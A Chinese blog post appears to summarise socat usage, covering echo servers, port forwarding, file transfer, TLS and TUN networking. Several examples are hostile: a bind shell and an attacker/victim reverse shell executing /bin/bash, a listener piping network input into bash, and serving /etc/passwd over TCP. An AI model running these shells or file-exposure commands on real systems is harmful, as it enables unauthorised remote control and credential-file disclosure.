当前位置: 首页 > news >正文

Socat 命令总结

事以密成,语以泄败。


导航

  • 介绍

  • 基本语法

  • 用法示例

    • 1. 回显输入
    • 2. 回显输入 over TCP/UDP
    • 3. 正向连接 shell
    • 4. 反向连接 shell
    • 5. 端口转发
    • 6. 网络服务
    • 7. 文件传输
    • 8. 管道传输
    • 9. 加密传输
    • 10. TUN 网络
  • 杂项


介绍

Socat是一个功能强大的网络工具(相当于是增强版 netcat),它可以在两个数据流之间建立通道,且支持的数据流类型非常丰富,例如:TCP、UDP、TUN、SOCKS 代理、UNIX 套接字、STDIO 标准输入输出流、PIPE 管道流、OPEN 文件流、EXEC/SHELL/SYSTEM 进程流、OPENSSl 加密流等。


基本语法

socat[OPTION]<ADDRESS_1>[,OPTS]<ADDRESS_2>[,OPTS]
  • ADDRESS_1ADDRESS_2表示两个通信的端点,即数据流。
  • OPTION用于设置全局选项,比如单向模式、调试模式、日志级别等。【注:单向模式中的 -u 表示左流向右,-U 表示右流向左,不加则表示双向模式。】
  • OPTS用于设置数据流的选项(不同类型的数据流对应的选项亦有所区别),常用的选项是 fork、reuseaddr。

用法示例

1. 回显输入
socat - -#STDIO STDIO

说明:在终端输入什么就输出什么。

2. 回显输入 over TCP/UDP
socat - tcp-listen:1234,fork#STDIO TCP 服务端监听1234端口socat - tcp:127.0.0.1:1234#STDIO TCP 客户端连接1234端口socat - udp4-listen:1234,bind=192.168.56.20,fork#STDIO UDP 服务端仅监听192.168.56.20接口的1234端口socat - udp4:192.168.56.20:1234#STDIO UDP 客户端连接1234端口

说明:客户端将输入的数据通过 tcp/udp 通道传输给服务端,而服务端又将接收的数据再传输给标准输出。


3. 正向连接 shell
socat tcp-listen:1234,fork exec:/bin/bash#TCP EXEC 服务端监听1234端口socat - tcp:127.0.0.1:1234#STDIO TCP 客户端连接1234端口

说明:服务端将接收到的数据传输给 bash 进程,bash 处理之后将结果返回给客户端的标准输出。,

4. 反向连接 shell
socat - tcp-listen:1234,fork#STDIO TCP 攻击机监听1234端口socat EXEC:/bin/bash tcp:127.0.0.1:1234#EXEC TCP 靶机连接1234端口#socat - tcp:127.0.0.1:1234 #STDIO TCP 靶机连接1234端口

说明:攻击机将输入的数据传输给连接它的靶机,而靶机又将数据传递给了 bash 进程,经其处理之后返回结果到攻击机。【注意:如果有多个靶机同时连接攻击机,那么攻击机的输入会随机被传递给其中一个靶机,而不是同时传递给所有靶机。】

5. 端口转发
socat tcp-listen:1234,fork tcp:127.0.0.1:8080#TCP TCP

说明:将本地监听端口 tcp/1234 接收的数据转发到本地的 tcp/8080 端口。【转发到远端亦行】

6. 网络服务
socat-Utcp-listen:1234,fork open:test.txt#TCP OPEN

说明:将文件内容作为服务响应返回。【注意:此时最好使用-U单向模式(右向左),否则请求可能会覆盖文件内容。】

7. 文件传输
socat-Utcp-listen:1234,fork open:/etc/passwd#TCP OPEN 发送端socat-utcp:127.0.0.1:1234 open:./passwd.txt,create#TCP OPEN 接收端

说明:发送端将文件数据传输给连接到监听端口的接收端,接收端又将收到的数据打包到新文件中。【注意单向模式的使用】

8. 管道传输
echook|socat - tcp-listen:1234,fork#PIPE TCP#socat - tcp-listen:1234,fork | bash #TCP PIPE

说明:(1)将 echo 输出的数据通过管道传递给连向监听端口的终端;(2)将监听端口接收到的数据传递给 bash 进程处理。


9. 加密传输
socat openssl-listen:8443,cert=ssl-cert.pem,key=ssl-cert.key,verify=0,fork tcp:127.0.0.1:8080#OPENSSL TCP OPENSSL 服务端#socat - openssl:127.0.0.1:8443,verify=0 #OPENSSL 客户端#注:当服务端不是转发给 http 服务时,客户端需要此命令配合使用,示例截图中的 curl 命令拥有 openssl 客户端的功能故示例没有用到该命令。#注:功能测试时,证书的生成可以使用 make-ssl-cert /usr/share/ssl-cert/ssleay.cnf ssl-cert 命令生成。

说明:监听 HTTPS 请求并将其转发到本地的 HTTP 服务。

10. TUN 网络
socat tcp-listen:1234,fork tun:192.168.1.1/24,up#TCP TUN 服务端socat tcp:192.168.56.20:1234 tun:192.168.1.2/24,up#TCP TUN 客户端

说明:所有连接到 TUN 服务端的终端,全都接入了一个自建的 TUN 网络之中,从而实现了异地组网。【在 Linux 中测试是成功的,但是在 Windows 中测试时失败了。】


杂项

  • Socat 官网:http://www.dest-unreach.org/socat/
  • Socat for Windows :https://github.com/StudioEtrange/socat-windows
  • Socat 预编译版本:https://github.com/3ndG4me/socat
我的博客园
http://www.cnnetsun.cn/news/4290869.html

相关文章:

  • 网易NLP算法工程师校招笔试全解析:考点、套路与避坑指南
  • Python控制流深度解析:条件判断、循环与流程控制实战指南
  • 仿微信H5聊天室源码解析:多人群聊IM系统搭建与部署
  • STM32H5 DA调试认证证书链命令行批量生成与产线自动化实践
  • 高并发动效页面的可用性
  • LPS22HH气压传感器实战:从硬件布局到驱动开发与高度测量
  • 家用洗地机性价比排名:2026家用洗地机怎么选?别只看价格和吸力
  • Kafka八股文面试深度解析:存储、生产、消费与可靠性
  • 基于SpringBoot的多人共享记账管理系统毕业设计项目源码
  • 基于Obsidian管理UTAU翻唱项目:搭建可检索的知识库工作区
  • 基于SpringBoot的知识分享平台设计与实现毕业设计项目源码
  • 技术翻译实战:从美赛A题解析看专业文献翻译的核心挑战与策略
  • 基于AT89C52与DAC0832的函数发生器设计:从查表法到硬件调试全解析
  • 树莓派车载AI实战:用Qwen打通感知、理解与控制的完整链路
  • 详解IIS2ICLX低频噪声频谱密度与高精度倾角测量工程实践
  • 猿辅导2020校招算法岗笔试复盘:核心考点与解题套路详解
  • 人脸识别+标签匹配:本地搭建互动视频素材管理工具链
  • 本地LLM基准测试全流程:量化选型与性能指标实战
  • 车载无线充电Qi V1.3认证与STSAFE-V110安全芯片实战解析
  • 数据拟合与预测实战:从数学原理到Python实现
  • 数学建模竞赛实战指南:从团队组建到论文写作的完整流程与核心技巧
  • AI能耗账本:从训练到推理,用工程手段化解气候效益悖论
  • Anthropic 发布 MHS:AI Agent 开始操控物理设备
  • 茶叶智能提香机上位机 Qt信创完整项目
  • 软件工程建模实战:从UML到DDD,打通设计与开发的鸿沟
  • STM32入门教程,第12课(上),对射式红外传感器计次
  • 数据挖掘笔试核心考点复盘:逻辑回归、贝叶斯与业务实战
  • 基于SpringBoot的码头船只货柜管理系统(源码+文档+部署讲解等)
  • 怎么压缩音频不超过3M?文件过大无法上传的本地压缩方案汇总
  • Delphi 13.1下KonopkaControls控件安装配置与排坑指南